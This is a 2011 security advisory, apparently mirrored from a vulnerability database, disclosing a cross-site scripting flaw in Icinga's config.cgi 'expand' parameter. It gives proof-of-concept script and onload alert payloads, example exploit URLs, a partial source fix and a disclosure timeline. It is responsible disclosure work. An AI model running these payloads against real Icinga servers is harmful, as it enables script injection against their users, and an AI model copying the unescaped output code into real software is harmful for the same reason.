Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26440
HistoryJun 02, 2011 - 12:00 a.m.

Cross-Site Scripting vulnerability in Icinga

2011-06-0200:00:00
vulners.com
17

Advisory: Cross-Site Scripting vulnerability in Icinga
Advisory ID: SSCHADV2011-005
Author: Stefan Schurtz
Affected Software: Successfully tested on: icinga-1.3.0 / icinga-1.4.0
Vendor URL: http://www.icinga.org
Vendor Status: Resolved
CVE-ID: -

==========================
Vulnerability Description:

This is a Cross-Site Scripting vulnerability

==================
Technical Details:

No input validation for "expand" in config.c(gi)

View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>

or

http://www.example.com/icinga/cgi-bin/config.cgi?type=command&amp;expand=&lt;script&gt;alert&#40;String.fromCharCode&#40;88,83,83&#41;&#41;&lt;/script&gt;
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&amp;expand=&lt;body onload=alert(666)>

=========
Solution:

in config.c

< printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);
> printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD
> CLASS='dataEven'>%s",escape_string(command_args[0]));

This solution doesn't fix the whole problem - see https://dev.icinga.org/issues/1605#note-3 for more information

====================
Disclosure Timeline:

01-Jun-2011 - informed developers
01-Jun-2011 - Release date of this security advisory
01-Jun-2011 - fixed - Target version: 1.4.1
01-Jun-2011 - post on BugTraq and Full-disclosure

========
Credits:

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:

http://www.icinga.org
https://dev.icinga.org/issues/1605
http://www.rul3z.de/advisories/SSCHADV2011-005.txt